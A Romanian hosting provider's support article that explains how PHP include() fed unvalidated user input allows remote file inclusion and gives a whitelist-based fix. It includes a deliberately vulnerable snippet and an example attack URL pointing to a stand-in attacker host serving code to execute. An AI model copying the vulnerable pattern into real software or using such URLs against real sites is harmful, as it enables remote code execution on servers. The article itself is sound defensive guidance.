home  comanda on-line  oferta webhosting  oferta reseller  asistenta / tichete  login  contact 
SUPORT ONLINE
Tichet asistenta
Asistenta - cuprins
Primii pasi
Transfer domenii
Configurare E-Mail
Intrebari frecvente
Abuzuri
Descriere facilitati

Folosirea directivei include() în PHP

Descriere generală

Directiva include() din php este folosita pentru a accesa in pagina curenta resurse externe. Datorita faptului ca functia permite executarea unor resurse externe aceasta poate fi abuzata de persoane rauvoitoare pentru a obine diverse avantaje (trimitere spam, folosirea resurselor, scanari pentru alte atacuri, …).

Exemple de folosire gresita

$file = $_GET["file"];
include($file);

În cazul in care fisierul inclus conține cod php acesta va fi executat, astfel daca pagina ce contine aceste linii este accesata cu http://example.com/test.php?file=http://hack/hack.txt?, $file va avea valorea http://hack/hack.txt si astfel vor fi executate toate instructiunile dorite de catre atacator.

Efecte negative

În momentul în care situl dv. folosește directiva include similar exemplului de mai sus va lăsa o poartă larg deschisă oricarui tip de atac. Pentru a permite o flexibilitate crescută ROHOST nu blochează în întregime această directivă însă în momentul în care sunt observate atacuri evidente scriptul în cauză va fi blocat imediat avand ca efect direct asupra sitului dv. nefunctionarea părților ce folosesc aceasta porțiune de cod.
Pentru a preîntâmpina orice situație de acest fel va rugam consultați soluția prezentată mai jos. Soluția este foarte simplu de implementat și va duce la creșterea siguranței sitului dv. cât și la functionarea în parametrii optimi ai serviciilor furnizate de catre ROHOST.

Soluție

Soluția este simplă și anume validarea datelor de intrare(input). Exemplu:

$file = $_GET["file"];
switch($file){
    case "file.php":
    case "file2.php":
        include($file);
        break;
    default:
        echo "acces neautorizat";
}

In acest caz vor fi incluse doar acele fisiere ce sunt explicit permise iar incercarile de atac asupra sitului dv. vor fi intampinate cu mesajul acces neautorizat.
Soluția de mai sus este doar una dintre variantele ce pot fi folosite. In principiu situl dv. nu va avea probleme atata timp cat veți valida fiecare variabilă inainte de o folosi ca parametru al directivei include.

 

    ROHOST® este un serviciu al firmei ROSPOT S.R.L.
© 2000-2008 ROSPOT S.R.L.